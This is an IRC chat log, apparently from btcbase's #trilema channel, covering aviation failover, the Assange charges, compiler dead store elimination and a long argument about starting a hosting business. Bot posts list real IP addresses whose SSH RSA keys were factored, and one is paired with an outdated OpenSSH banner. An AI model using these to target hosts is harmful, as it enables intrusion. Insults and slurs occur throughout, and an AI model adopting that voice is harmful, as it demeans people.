1646755;1492782212;mircea_popescu;http://btcbase.org/log/2017-04-21#1646733 << "must have two pilots" is a standard for being cleared to take-off, not reviewed in-flight. 1646756;1492782212;a111;Logged on 2017-04-21 13:10 asciilifeform: so, pilot suddenly dies, machine is somewhere over atlantic. it drops immediately..? 1646757;1492782227;mircea_popescu;gotta study this stuff alfie, it's one of the first, and to date one of the best, examples of process engineering. 1646758;1492782315;mircea_popescu;(that's not actually correct - also reviewed in flight. fail the check and your itinerary changes from "to destination" to "to closest viable airport". conditions apply.) 1646759;1492782385;asciilifeform;^ was my q to davout 1646760;1492782394;asciilifeform;~does~ it in fact 'switch to nearest airport' 1646761;1492782411;asciilifeform;like, e.g., losing 1 of 2 motors 1646762;1492782421;mircea_popescu;it does yes. 1646763;1492782588;deedbot;http://phuctor.nosuchlabs.com/gpgkey/FAC4686DDB5C978811948E4EB2313875EE791A37630CBD7814E6AF7306480C74 << Recent Phuctorings. - Phuctored: 1681...1477 divides RSA Moduli belonging to '217.195.177.230 (ssh-rsa key from 217.195.177.230 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown DK) 1646764;1492782588;deedbot;http://phuctor.nosuchlabs.com/gpgkey/FAC4686DDB5C978811948E4EB2313875EE791A37630CBD7814E6AF7306480C74 << Recent Phuctorings. - Phuctored: 1462...4643 divides RSA Moduli belonging to '217.195.177.230 (ssh-rsa key from 217.195.177.230 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown DK) 1646765;1492782615;davout;asciilifeform: yeah, you divert if such a thing happens 1646766;1492782638;mircea_popescu;anyway. small planes (ie, single pilot) make emergency landings (ie, landing otherwise than in flight plan) for all sorts of reasons. chief among them bad weather -- the small shits have icing problems and are really dependent on atmosphere playing nice with the nutshell, and in the more responsible also the pilot deciding he's tireder than he thought., 1646767;1492782645;davout;one task of the pilots is to constantly be able to instantly answer "shit happens, where go?" 1646768;1492782658;mircea_popescu;failure to do the later resulted in some pretty fucking spectacular fits of cfit back in the 60s. 1646769;1492783705;asciilifeform;mircea_popescu: http://wotpaste.cascadianhacker.com/pastes/MrERx/?raw=true 1646770;1492784100;asciilifeform;in other lulzies, https://archive.is/KDPpW << 'US authorities have prepared charges to seek the arrest of WikiLeaks founder Julian Assange' >> good ol' trials in absentia 1646771;1492784134;mircea_popescu;asciilifeform http://wotpaste.cascadianhacker.com/pastes/8g9BE/?raw=true 1646772;1492784150;mircea_popescu;and i thought they were trying to arrest the dude since day 0, what. 1646773;1492784170;mircea_popescu;why was he embassy hopping, for boredom ? 1646774;1492784264;asciilifeform;upgraded nao, apparently, from 'rapist' to 'ru spy' 1646775;1492784386;asciilifeform;https://archive.is/kMgAE << see also 1646776;1492784421;mircea_popescu;lol. this has nothing to do with him, it's simply a relfection of the fact that "worst baddest MR GOLDSTEIN" went from "Rapist" to "Russian Spy" since Trump cunt-punched rapist off the board. 1646777;1492784427;asciilifeform;'Mike Pompeo, director of the Central Intelligence Agency ... "WikiLeaks walks like a hostile intelligence service and talks like a hostile intelligence service," he said in prepared remarks at the Center for Strategic and International Studies. "Assange is a narcissist who has created nothing of value," Pompeo said. "He relies on the dirty work of other to make himself famous. He is a fraud — a coward hiding behind a screen. "And 1646778;1492784427;asciilifeform;in Kansas, we know something about false Wizards," said the former Kansas congressman in his first public remarks as CIA director. Pompeo accused "Assange and his ilk" of making common cause with dictators as "they try unsuccessfully to cloak themselves and their actions in the language of liberty and privacy."' 1646779;1492784429;asciilifeform;didjaknow. 1646780;1492784451;asciilifeform;well noshit it has 0 to do with him. 1646781;1492784452;mircea_popescu;lol teh 2 minute hate. 1646782;1492784459;asciilifeform;high-quality. 1646783;1492784475;mircea_popescu;this is very braindamaged, even for the usually stupid bureaucrat. if the guy did nothing then why is he sought ? 1646784;1492785139;mod6;Mornin' 1646785;1492785154;mircea_popescu;hola 1646786;1492785165;mod6;Update: eatblock now @ 353K+ blocks, into blk0017. 1646787;1492785173;mircea_popescu;nice 1646788;1492785271;mod6;I'm also running ent/dh against 1.2Gb of collected fg entropy, but this time I did it with: `dd iflag=fullblock if=/dev/ttyUSB0 of=fg1.fg4.bin` 1646789;1492785319;mod6;will report out results here when it's complete :] 1646790;1492788065;mod6;http://www.mod6.net/fg/fg-test/fg1.ent_run4.txt http://www.mod6.net/fg/fg-test/fg1.dieharder_run4.txt 1646791;1492789020;asciilifeform;mod6, mircea_popescu , et al : any reply from the dieharder d00d ? 1646792;1492789528;asciilifeform;unrelatedly, http://btcbase.org/log/2017-04-21#1646687 >> https://38.96.45.231 >> ye olde 'ubiquiti' !! 1646793;1492789528;a111;Logged on 2017-04-21 05:25 deedbot: http://phuctor.nosuchlabs.com/gpgkey/637F4B334BCB5B65796568FDDF4746ECF7E27F24C0342EBD1D97EEFC0E932C57 << Recent Phuctorings. - Phuctored: 1712...4809 divides RSA Moduli belonging to '38.96.45.231 (ssh-rsa key from 38.96.45.231 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (CSR2164NSM5R-We-Or-Ca-c3917-568-D. US CA) 1646794;1492789575;asciilifeform;!#s ubiquiti 1646795;1492789575;a111;31 results for "ubiquiti", http://btcbase.org/log-search?q=ubiquiti 1646796;1492789595;asciilifeform;e.g., http://btcbase.org/log/2015-04-07#1090391 1646797;1492789595;a111;Logged on 2015-04-07 02:35 asciilifeform: 'From my conversations with Ubiquiti, I have found that they claimed that it's alright to refuse to provide source code to GPL-licensed software if "This decision was taken with the security of the users in mind". Furthermore, my conversations were endlessly delayed by the supposed necessity to forward my query to another, unnamed, team.' << now we can probably say what. 1646798;1492789714;asciilifeform;!$ ssh 38.96.45.231 1646799;1492789714;scriba;ssh banner of 38.96.45.231 as seen on 2016-06-13: SSH-1.99-OpenSSH_4.3p2 Debian-9 1646800;1492789729;asciilifeform;loller 1646801;1492790776;mircea_popescu;i didn't get nuttin. 1646802;1492791108;shinohai;http://pagesix.com/2017/04/21/no-caitlyn-jenner-is-not-posing-nude/ <<< The most relieving headline I've seen all week. 1646803;1492791344;asciilifeform;meanwhile, https://archive.is/mevpd >> 'Some bounds checks are elided by Apple's compiler and possibly others, leading to a possible attack especially in 32-bit builds.' 1646804;1492791358;asciilifeform;run moar clang/llvm!111 1646805;1492791479;Framedragger;meh, gcc wouldn't have caught it to begin with 1646806;1492791486;shinohai;`clang` (noun) The sound your Apple phone might make as it is being pwnd. 1646807;1492791510;asciilifeform;lol, archive.is down on account of shitflare. 1646808;1492791523;asciilifeform;what a disgrace. 1646809;1492791526;Framedragger;up for me 1646810;1492791607;asciilifeform;no, i meant the use of shitflare per se. 1646811;1492791609;asciilifeform;is disgrace. 1646812;1492791622;Framedragger;ah. myeah. 1646813;1492791637;asciilifeform;Framedragger: and if you read the linked item, 'On Linux, I tested GCC 4.9, 5.4, and 6.3, as well as Clang 3.6, 3.8, and 4.0. None were affected. ' << applies strictly to recent clang, seems. 1646814;1492791647;asciilifeform;i.e. is effect of 'optimization'. 1646815;1492791661;Framedragger;asciilifeform: oh shit. i looked at snipped of code, thought, gcc wouldn't catch this, that's all. sorry. 1646816;1492791664;Framedragger;aha. 1646817;1492791783;asciilifeform;Framedragger: see also thread http://btcbase.org/log/2016-01-15#1370596 . 1646818;1492791783;a111;Logged on 2016-01-15 01:38 asciilifeform: 'OpenSSH 6.6 is the only version that is not affected, because it calls explicit_bzero() instead of memset() or bzero(). ..... older GCC versions do not remove the memset() or bzero() call made by buffer_free() or sshbuf_free(). GCC 5 and Clang/LLVM do, however, remove it.' 1646819;1492791807;Framedragger;lol! 1646820;1492791823;Framedragger;mk. i see. optimisationz 1646821;1492792106;Framedragger;'Dead Store Elimination' << new fancyterm learned from ^. heh 1646822;1492792155;Framedragger;'but why!!' such very optimise one function call omg. 1646823;1492792169;asciilifeform;Framedragger: you know very well why. 1646824;1492792194;Framedragger;yes, by now, goddammit this is just criminal and that's it. 1646825;1492792205;Framedragger;(i.e., yeah okok.) 1646826;1492793219;mircea_popescu;gcc 5 was blacklisted anyway./ 1646827;1492793260;asciilifeform;and it's worth remembering why. 1646828;1492793266;mircea_popescu;certainly. 1646829;1492793991;*;mircea_popescu reviews with unmitigated sadness that the republican isp issue IS STILL NOT RESOLVED. 1646830;1492794021;mircea_popescu;so fucking hard, this, picking up a business that can feed a herd of twelve when given. bejaysus. 1646831;1492794116;mircea_popescu;in vaguely related lulz of pure entomological interest, dumb shit like http://blog.trendmicro.com/trendlabs-security-intelligence/pigs-malware-examining-possible-member-winnti-group/ 1646832;1492794163;mircea_popescu;it'd seem the usg terrorist organization has succeeded in african-americanizing the hosting business much like it did to the inner city ghettos : yes there exist youngsters who live outside of the reich. none of them survive into adulthood. 1646833;1492794222;mircea_popescu;by the time any one shows signs of competence and possible maturation into systemic threat, they... disappear. to leave the room for yet another inept sixteen year old and his "crew" with "three years experience". 1646834;1492794233;mircea_popescu;the similarities to wheat farming are striking. 1646835;1492794418;Framedragger;http://btcbase.org/log/2017-04-21#1646829 << i should review logs, but -- assuming we're talking about the same internet / ip aspce -- i've been sceptical of this. there's always an upstream that can cut you off, neh? if no upstream, you gotta somehow be tier 1 - how. 1646836;1492794418;a111;Logged on 2017-04-21 16:59 mircea_popescu reviews with unmitigated sadness that the republican isp issue IS STILL NOT RESOLVED. 1646837;1492794429;mircea_popescu;why would they cut you off ? 1646838;1492794438;Framedragger;child porn! 1646839;1492794441;mircea_popescu;... 1646840;1492794445;asciilifeform;or 13337 w4r3z 1646841;1492794446;mircea_popescu;what child porn ? 1646842;1492794447;Framedragger;w/e. someone tells them, to 1646843;1492794455;Framedragger;and they do. 1646844;1492794460;mircea_popescu;Framedragger so then we got some decent blog posts. 1646845;1492794461;Framedragger;s/,// 1646846;1492794469;mircea_popescu;i don't see how this is any kind of problem. 1646847;1492794475;Framedragger;is true, but also a lotta labour hours put into failed project 1646848;1492794478;Framedragger;hmh. 1646849;1492794483;mircea_popescu;how has it failed ? you move to other dc or w/e. 1646850;1492794492;asciilifeform;asciilifeform & former assoc. had this problem, laid quite thickly, because they ran (industrially) malware samples. 1646851;1492794499;asciilifeform;which accesses the net and did ????!???. 1646852;1492794516;mircea_popescu;i fail to see what this has anything to do. 1646853;1492794521;asciilifeform;eventually expense of repeatedly 'move to new dc' adds up. 1646854;1492794550;asciilifeform;it ain't quite like, e.g., buying steel pipe, you can buy from x today and from y tomorrow and meanwhile you have a warehouse of pipe, so no prob. 1646855;1492794564;mircea_popescu;republican isp = competent sysadmin who handles relationship with multiple dcs in terms of getting hardware installed and refuses any requests made under color of law by the terrorist organisation known as "the united states government". and publishes them. 1646856;1492794600;asciilifeform;if 'best korean' fuhrer had half a brain, this'd be a business model for him. 1646857;1492794609;mircea_popescu;as per you know, http://trilema.com/2014/interacting-with-fiat-institutions-a-guide/ 1646858;1492794633;mircea_popescu;asciilifeform if ANYONE, including EACH AND EVERY non-technical dude following around had half a brain, it'd be a business model for him also. 1646859;1492794648;mircea_popescu;most people live their entire life out of less contribution than this. 1646860;1492794661;asciilifeform;mircea_popescu: as you're well aware, usg has 0 problem confiscating entire dc when it wants. on most of planet. 1646861;1492794667;mircea_popescu;let them do that. 1646862;1492794669;asciilifeform;how many operations can absorb this cost on demand ? 1646863;1492794677;mircea_popescu;what is your cost ? you rent gear. 1646864;1492794700;mircea_popescu;and it would be out of the question doing business with nato-reich located dcs anyway, for basic moral reasons. 1646865;1492794701;asciilifeform;ah ~that~ type of dc 1646866;1492794702;asciilifeform;then possibly. 1646867;1492794719;mircea_popescu;i'm not about to hire any convicted child rapists to run my kindergarten, shock and awe. 1646868;1492794728;asciilifeform;mircea_popescu: outside of reich, exactly same confiscation is carried out simply by slipping a hundy to the orc guard 1646869;1492794737;mircea_popescu;you'd know. 1646870;1492794737;asciilifeform;or whatever candy bar. 1646871;1492794749;asciilifeform;mircea_popescu: i don't know for a hard fact, but there was that ukr. 1646872;1492794750;mircea_popescu;wouldja shut the fuck up with the wholly idiotic antiproductive noise ? 1646873;1492794778;Framedragger;there are those isps in .ru which show the finger to usg, but (1) as was said here multiple times before, there is no 'bulletproof hosting'; and (2) i'd like to see what happens when someone starts serving content against .ru interests. 1646874;1492794811;Framedragger;i agree that it'd be a good contribution, 'while it lasts'. maybe i'm too pessimistic, but i can't see how the 'refuses usg requests' lasts for any time after 'first request received'. 1646875;1492794817;Framedragger;s/usg requests/any state requests/ 1646876;1492794826;asciilifeform;Framedragger: ru hosting is pretty good save for (2). 1646877;1492794831;mircea_popescu;i want something like a dual or quad e-2650 say, with a coupla fuckgoats physically installed. i can't say "do this" in #trilema, in 2017. 1646878;1492794848;asciilifeform;mircea_popescu: still 0 offers for this ?! 1646879;1492794853;mircea_popescu;this is not an acceptable state of affairs, and whatever stories about magics and assorted fairy tales has nothing to do with it. 1646880;1492794868;Framedragger;asciilifeform: yeah so i hear, and even have coupla bookmarks from recommendations should the opportunity require, heh. anyway good to know 1646881;1492794881;mircea_popescu;Framedragger dude wouldja stop with the insane approach. you've watched me build things for years, hopefully. learned nothing from the process ? 1646882;1492794898;mircea_popescu;just make a fucking isp, that's not run by a moron and consequently ahead of 90% of the pack. 1646883;1492794908;mircea_popescu;get the implicit friendly contracts from tmsr. game over. 1646884;1492794916;asciilifeform;btw whatever happened to the sealand d00d 1646885;1492794926;asciilifeform;iirc this was (at least nominally) his specialty. 1646886;1492794929;mircea_popescu;sealand dood was a retard. like these usually are. 1646887;1492794952;mircea_popescu;i am well satisfied there is not going to be naturally occuring sanity, has to be generated in #trilema or not be had. 1646888;1492794959;Framedragger;sealand (if as in a physical platform at sea) == fewer options for uplink == even more bad, in my mind 1646889;1492794969;asciilifeform;'i'ma fall on this grenade' doesn't grow naturally, no. 1646890;1492794975;mircea_popescu;yes, it's terrible. 1646891;1492794982;mircea_popescu;worst fucking anti-idea ever. 1646892;1492795046;Framedragger;mircea_popescu: i've heard you before and i hear you now. i just don't have much hope for extant internet. unreliable-low-bandwidth shortwave relay net almost seems like a longer term strategy here, no? 1646893;1492795053;asciilifeform;mircea_popescu: where would you suggest to put it ? 1646894;1492795061;mircea_popescu;asciilifeform there is no grenade. it is a business, like giving away a ny restaurant. it will make a million or two over one's active life. 1646895;1492795069;mircea_popescu;Framedragger dude, what ? 1646896;1492795090;Framedragger;gossipd over radio, i'm very cereal. 1646897;1492795104;mircea_popescu;this is like palpable brain damage. 1646898;1492795180;mircea_popescu;"wash the dishes" "hang on im designing an alien dish washer" "in the time you've been jacking off with the lolpics, other people ate out of washing dishes as professionals, you fucking tard you." 1646899;1492795215;asciilifeform;mircea_popescu earlier observed that nobody -- anywhere -- is offering this service. 1646900;1492795216;Framedragger;so what, the idea is to jump around DCs (i assumed low bar for calling self isp is at least getting an AS number, btw) while they're kicking you, and only do rental contracts short enough so that not too much cash gets burned. 1646901;1492795223;mircea_popescu;today. right now. as we speak. people are doing the useful task of putting cpus in boxes. is this incomprehensible to the engineering mind ? 1646902;1492795224;asciilifeform;so no, 'professionals eating' not yet. 1646903;1492795233;mircea_popescu;Framedragger dude nobody's fucking "kicking you out". 1646904;1492795249;asciilifeform;they put in boxes, yes. but they do not give arbitrarily stiff finger to arbitrarily aggressive rogue states. 1646905;1492795252;mircea_popescu;asciilifeform ten thousand different idiots are offering me this service as we speak. 1646906;1492795261;mircea_popescu;i do not wish to pay random idiots, i wish to pay people in the republic. 1646907;1492795277;mircea_popescu;people in the republic ARE MENTAL DEFFECTIVES meanwhile, REFUSE!!111 to be paid to do simple task. 1646908;1492795299;Framedragger;mircea_popescu: you said yourself that there is no bulletproof hosting. how long do public torrent sites survive? and do you think they have not tried the 'bulletproof' route (not all of them, granted)? 1646909;1492795308;mircea_popescu;fully specified, clearly profitable job, won't do it. seesh. 1646910;1492795316;asciilifeform;mircea_popescu: the idiots handle the enemy in the simplest way -- by dying. 'human fat powered system.' 1646911;1492795321;mircea_popescu;Framedragger nevermind that! i want to get a new eulora server, for instance. 1646912;1492795324;asciilifeform;so imho it is not accurate to say that they have solved same problem. 1646913;1492795337;mircea_popescu;why the fuck should i buy it from anyone outside of wot ? 1646914;1492795354;Framedragger;we are, in a way, oblivious, to the *present issues at hand*, hm. 1646915;1492795380;mircea_popescu;i am currently spending TENS OF THOUSANDS OF DOLLARS. each year. on this service. 1646916;1492795414;mircea_popescu;how fucking hard is it to grasp. there's money on the table fucking pick it up already jesus god almighty it's like trying to get cs grad students to talk to girls. 1646917;1492795460;mircea_popescu;for the past two years, since i last brought this up, guess what ? i've been paying non-wot people. because i gotta keep servers up yes. 1646918;1492795490;asciilifeform;if mircea_popescu sees this as utterly trivial, as suggested here, he could run this service himself (or with 'long hands'), corner the market, supply every spammer on planet3 . 1646919;1492795494;asciilifeform;but possibly it isn't trivial ? 1646920;1492795502;mircea_popescu;EVERYONE here. trinque has servers, yes ? Framedragger rents servers yes ? EVERYONE spends more on servers than on rent. there's a huge amount of money that should NOT be paid out to fucking hilary clinton's friends. 1646921;1492795515;Framedragger;i'm not sure if it's accurate to call self 'isp' if you're just reselling rented servers. 1646922;1492795538;Framedragger;unless you own them and have physical access to, which exposes one to opsec + requirement to live in non-nato country, or w/e. 1646923;1492795538;mircea_popescu;asciilifeform and add yet another girl nobody knows to the wot and you weirdos get to worry and wonder about her too, and then another and then another and by 2020 wot consists of mp and his friends and these weird dudes ? really, this is the plan ? 1646924;1492795550;mircea_popescu;Framedragger that is EXACTLY what isp does. 1646925;1492795567;mircea_popescu;it's not a fucking telco. it rents lines and resells them to consumers. 1646926;1492795568;asciilifeform;waiwat worry & wonder wat ? 1646927;1492795573;trinque;comcast isn't an ISP; it's a tv company 1646928;1492795575;trinque;mircea_popescu: aha 1646929;1492795578;mircea_popescu;nuts. 1646930;1492795582;mircea_popescu;just utterly fucking nuts. 1646931;1492795598;mircea_popescu;trinque what was your server bill aggregated over 2016 ? degree of magnitude ? 1646932;1492795608;Framedragger;so just to clarify the technicalities in my mind, in your head this doesn't even imply registering for an isp as 'normally' understood (getting an autonomous system number assigned). which means you may not even be able to control reverse ip records. not a lotta.. power.. if shit goes down. which it will. 1646933;1492795625;mircea_popescu;Framedragger you yourself pay at least a few hundred a month on it. do you pay that much in rent ? on it fucking goes, this. 1646934;1492795635;trinque;mircea_popescu: in the 15-20k range across all projects 1646935;1492795640;mircea_popescu;Framedragger how am i keeping you from registering for as ? 1646936;1492795670;mircea_popescu;trinque aha. 1646937;1492795683;Framedragger;you're not, you're not. also re several hundred, it's less, it's two small dedicated boxes on malware-infested provider + a vps 1646938;1492795709;mircea_popescu;alright. point remains -- we do use THIS resource in excess of any other. 1646939;1492795737;mircea_popescu;i never heard of anyone with a guaranteed market this size being "oh... but the bugaboo and the tsetse fly". 1646940;1492795793;mircea_popescu;people open fucking restaurants with MAJOR investment on the basis of ~the hope~ that maybe they get the foot traffic. 1646941;1492795822;Framedragger;that's true, and i see why you're bewildered. it's just that under the description above, i only see a wot-member being an interface point with a normal-isp. i suppose you would say that 'yes and this is fine' (it's about having someone who is in wot be responsible)? 1646942;1492795852;mircea_popescu;Framedragger what do you think a "normal isp" is ? 1646943;1492795870;mircea_popescu;name one. who ? by way of example. 1646944;1492795900;Framedragger;i'll go ahead and say (amid your laughs): OVH. it's an isp alright: 1646945;1492795903;Framedragger;a thing which at the very least has a NOC 24/7 incident response centre. 1646946;1492795907;mircea_popescu;ok. what do you think ovh does ? 1646947;1492795908;Framedragger;a thing which has multiple upstreams. 1646948;1492795929;mircea_popescu;last i checked ovh did not own the dcs. 1646949;1492795932;Framedragger;yes, it rents servers and bandwidth to customers. 1646950;1492795939;mircea_popescu;it just has a contractual relation with them. they're operated in a diff "pc" 1646951;1492795950;Framedragger;i'd need to check but i do believe they do. but sure, it may as well lease them. 1646952;1492795957;mircea_popescu;which is precisely and exactly what you'd do too. and so no, absolutely no differeence in kind between you and ovh, 1646953;1492795965;mircea_popescu;other than their inept and ineffectual processes. 1646954;1492795980;Framedragger;sure, 'leasing' here is non-issue, agree. 1646955;1492796004;Framedragger;digging mahself into another hole, i see 1646956;1492796012;mircea_popescu;which nobody forces you to import because a) you're not a bunch of french speaking tards with barely the brainpower needed to power a chickenh and b) you're not stuck chashing the "shared and wordpress" hosting "market" composed of similarly mentally stunted individuals and their $5 yearly budget. 1646957;1492796042;asciilifeform;and what to do after the 1st, 2nd, 3rd time that having this relation with $service ends up getting upstream (hardware owner's) iron confiscated/stolen/mysteriously burned ? where do you get new hardware upstream after this ? or does mircea_popescu picture this problem going away when you close your eyes ? 1646958;1492796049;mircea_popescu;adding manpower to a project makes it later. this is eminently visible here, it is an unspeakable advantage to be able to work alone, because the "team" at ovh makes everyone dumber not smarter. 1646959;1492796058;asciilifeform;or lemme guess, ' asciilifeform imagined it, it never existed, shuddup fool ' 1646960;1492796062;mircea_popescu;asciilifeform let us document those. 1646961;1492796087;mircea_popescu;currently a server costs 3k to buy and 15k to rent for a month. 1646962;1492796101;mircea_popescu;out of the money i wasted since 2015 they could have burned 10 and i wouldn't have actually noticed the difference. 1646963;1492796101;asciilifeform;15k/mo ?! where? 1646964;1492796104;asciilifeform;in orbit??! 1646965;1492796119;Framedragger;(i of course see the point (by way of tmsr history as well) of being able to choose particular customers carefully, that is true of course) 1646966;1492796139;Framedragger;yeah those numbers are off 1646967;1492796164;asciilifeform;or is mircea_popescu suggesting that hypothetical $service ~could~ charge 15k/mo and mircea_popescu would agree to this price. 1646968;1492796167;mircea_popescu;asciilifeform take cherryservers, by far one of the cheapest : 4x e5 4620 v3 is 1300 euros for a year 1646969;1492796171;mircea_popescu;Framedragger shut up, you have nfi. 1646970;1492796179;Framedragger;i've rented a few? 1646971;1492796184;asciilifeform;1300 eu. / yr is more like it 1646972;1492796187;asciilifeform;is the typical rate. 1646973;1492796188;mircea_popescu;what's e5 4620 cost to buy ? 1646974;1492796219;mircea_popescu;asciilifeform please review the https://www.cherryservers.com/bare-metal-dedicated-servers (scroll down) 1646975;1492796230;Framedragger;i'm checking that particular link as we speak 1646976;1492796235;mircea_popescu;and in general don't get into fucking arguments with me about my numbers being off when i buy these weekly and you do yearly if at all. 1646977;1492796250;mircea_popescu;and especially not when the last time we had an argument you ate your intel or what was it. 1646978;1492796257;Framedragger;ack. 1646979;1492796259;asciilifeform;mircea_popescu: their 'fattest' offering seems to be a 999 eu. / mo. 1646980;1492796267;mircea_popescu;check the "paid monthly". 1646981;1492796289;asciilifeform;1299. 1646982;1492796295;mircea_popescu;euros. 1646983;1492796299;asciilifeform;that ain't 15k us. 1646984;1492796313;Framedragger;ah fuck that was annual, he duped us!! (i'm sorry.) 1646985;1492796318;mircea_popescu;... 1646986;1492796330;mircea_popescu;i was speaking of yearly costs throughout what the fuck. 1646987;1492796336;davout;http://btcbase.org/log/2017-04-21#1646944 <<< god no, please no, OVH is a collection of terminally retarded fuckwits living in france's arse hole 1646988;1492796336;a111;Logged on 2017-04-21 17:31 Framedragger: i'll go ahead and say (amid your laughs): OVH. it's an isp alright: 1646989;1492796343;asciilifeform;i saw '15k to rent for a month' -- parsed like-so. 1646990;1492796344;asciilifeform;lol. 1646991;1492796350;mircea_popescu;nmp! 1646992;1492796357;asciilifeform;if year -- then yes, mircea_popescu has it 1646993;1492796384;mircea_popescu;well what the fucxk am i going to do with it for a month, takes longer to install it. that's like giving yo ua one month employment, i recall you're on the record explainin the downside. 1646994;1492796393;Framedragger;'15k to rent for a month' is an insane way of wording. nevertheless, i learned my lesson 1646995;1492796445;mircea_popescu;myeah. the idea was "to rent it by the month". foxtail i guess. 1646996;1492796455;asciilifeform;mircea_popescu: quite truly. which is why i balked, ' mircea_popescu surely made typo ' 1646997;1492796455;*;shinohai clones sdf.org and sets up isp/hosting 1646998;1492796478;Framedragger;shinohai: *that* is not a bad idea imho 1646999;1492796488;Framedragger;shells, bouncers etc for l1/l2 1647000;1492796526;mircea_popescu;so, to reiterate the constructive part, also found in 2015 discussion re same : a) identify some decent dcs that do good service. this may be prior knowledghe, may be proximity so you can visit poersonally od some work etc. 2) colo some gear bespoke to your larger customers, and some well priced gear you can find to vps out of 3) profit. and for the rest of your life. 1647001;1492796526;trinque;asciilifeform knows this, but his only solution for diddlement is to be able to fire the thing onto a clean box quickly, and I understand the challenges there re: state. 1647002;1492796536;trinque;both of them 1647003;1492796609;mircea_popescu;take only btc, pay your 0.1% to the republic and live happily ever after as a well respected, much sought and very productive member of the community. 1647004;1492796644;mircea_popescu;just don't do a fucking rg. 1647005;1492796655;mircea_popescu;(yes, mp has been trying to do this for a long, long time now.) 1647006;1492796674;asciilifeform;mircea_popescu: what's a rg 1647007;1492796690;Framedragger;owner of vps bitcoin service 1647008;1492796691;mircea_popescu;something something cocaine something something bright kid with retarded blinders on something. 1647009;1492796695;asciilifeform;aaaah him 1647010;1492796748;trinque;this cock.li guy or someone else? 1647011;1492796757;Framedragger;nah, someone else, from #bitcoin-otc days 1647012;1492796780;Framedragger;cock.li served its mission for doing initial ipv4 space scans, tho 1647013;1492796789;trinque;well, where the fuck did that guy go? 1647014;1492796790;Framedragger;cock.li guy didn't give a fuck 1647015;1492796798;Framedragger;!~seen vc 1647016;1492796798;jhvh1;Framedragger: I have not seen vc. 1647017;1492796809;*;Framedragger hears mp rage 1647018;1492796832;asciilifeform;mircea_popescu's concept would work, but it has 1 serious cost -- it is a 'phd assembly line', in that it -- as i understand -- more or less requires ~being a copy of mircea_popescu~ -- a 'jet-setting' d00d, travelling to orclands, negotiating with local mafias, packing up boxes onto chartered boeings in the night, etc 1647019;1492796837;mircea_popescu;trinque no but this is the problem, a full slate of lanky, ill kept 20 somethings that would be technically brilliant and have all the business sense of a dead hooker. 1647020;1492796854;mircea_popescu;and i can keep cycling through them till kingdom come, it's like trying to buy heroin in chicago. 1647021;1492796860;mircea_popescu;hence hte original sadness. 1647022;1492796886;asciilifeform;( also requires keeping not only own skin, but money , in places reich can't easily get to ; getting hired help who aren't stoolies, also, somewhere; and similar ) 1647023;1492796887;mircea_popescu;asciilifeform it ~may lead there~. which from what i gather some people want for themselves, or something. 1647024;1492796901;mircea_popescu;asciilifeform why would you hire anyone ? 1647025;1492796921;Framedragger;for starters, 24/7 incident response. 1647026;1492796926;mircea_popescu;get the gf involved, if more hands are needed send her to the lesbian club to come back with another. 1647027;1492796937;mircea_popescu;Framedragger what fucking incident ? 1647028;1492796941;asciilifeform;Framedragger: possibly i misunderstood, and idea is to be strictly a ~broker~, no handling of iron involved 1647029;1492796954;Framedragger;asciilifeform: i suppose so 1647030;1492796961;asciilifeform;( other than a pile of fiatola. which in a way is also 'hardware' ) 1647031;1492796962;mircea_popescu;name the incident! 1647032;1492796962;shinohai;VC evidently still in Romania, getting stoned and making bird tweets: https://twitter.com/gexcolo 1647033;1492796991;Framedragger;mircea_popescu: disk goes down. shit gets stolen. ddos. your isp is ~broker to the upstream, so you have to escalate. 1647034;1492797000;Framedragger;mircea_popescu: qntra being ddos'd recently? 1647035;1492797002;mircea_popescu;Framedragger ... 1647036;1492797008;mircea_popescu;am i talking to myself here ? 1647037;1492797027;mircea_popescu;http://btcbase.org/log/2017-04-21#1647000 << re-read insistently! 1647038;1492797027;a111;Logged on 2017-04-21 17:42 mircea_popescu: so, to reiterate the constructive part, also found in 2015 discussion re same : a) identify some decent dcs that do good service. this may be prior knowledghe, may be proximity so you can visit poersonally od some work etc. 2) colo some gear bespoke to your larger customers, and some well priced gear you can find to vps out of 3) profit. and for the rest of your life. 1647039;1492797059;mircea_popescu;incident is either that there's a flood/meteor/volcano, in which case you're not needed, because dc will handle it itserlf ; or else that customer fucked up his machine, in which case he should have frucking known better and fuck him. 1647040;1492797072;mircea_popescu;your job does not include "24/7 customer support", because it doesn't have why to include it. 1647041;1492797085;mircea_popescu;and besides, you were here every day anyway even when it didn't pay you anything. 1647042;1492797109;Framedragger;mircea_popescu: i fell like we should all get drunk by this point, but: in this scenario, you're saying that dc would handle all hardware faults? 1647043;1492797125;mircea_popescu;specifically what hardware faults ? 1647044;1492797130;Framedragger;oh *come on*. 1647045;1492797135;mircea_popescu;i am coming on. what. 1647046;1492797159;Framedragger;there is a disk fault, say. 1647047;1492797169;Framedragger;i mean, disk failure. 1647048;1492797171;mircea_popescu;customer had a raid, will be fixed when dc gets around to hotswap anyway. 1647049;1492797197;asciilifeform;or lessay whole buncha disk faults, because a 'moderate rebel' 'accidentally' threw a molotov into the dc (where for some reason door was wide open) 1647050;1492797208;mircea_popescu;this gets documented, with pictures. 1647051;1492797224;mircea_popescu;makes for a great article on your suddenly eminently followable blog. 1647052;1492797245;mircea_popescu;afaik nobody has to date wrote that blog post, "hey, check out the one time some rebel threw molotov into a dc!" 1647053;1492797260;asciilifeform;relatedly, whatever happened to mircea_popescu's harness of N hdds that mysteriously burned in unison 1647054;1492797277;asciilifeform;(they were mentioned in the l0gz several times) 1647055;1492797281;Framedragger;mircea_popescu: customer doesn't have a raid == 'well what did they expect' i guess - granted, that actually makes sense. just need to be extra clear in T&Cs... 1647056;1492797286;mircea_popescu;i've nfi. 1647057;1492797297;mircea_popescu;Framedragger there is no fucking t&c. 1647058;1492797327;mircea_popescu;if one needs to read a pile of boilerplate to not be stupid, the pile of boilerplate ain't gonna help anyway. 1647059;1492797328;Framedragger;i do not mean 'restrictions on content' or any other inane shit. i mean response time and so on. 1647060;1492797334;Framedragger;right. 1647061;1492797368;mircea_popescu;huge timesavers, though, eliminating all the gunk empire idiots need to interface with each other's idiocy. 1647062;1492797399;Framedragger;(this will sound cheesy but i do feel like i'm coming to this with a fiat'ish mind, by which i mean, underestimating the power of the wot. 'you trust this wot person to make good, no fine print, the end.') 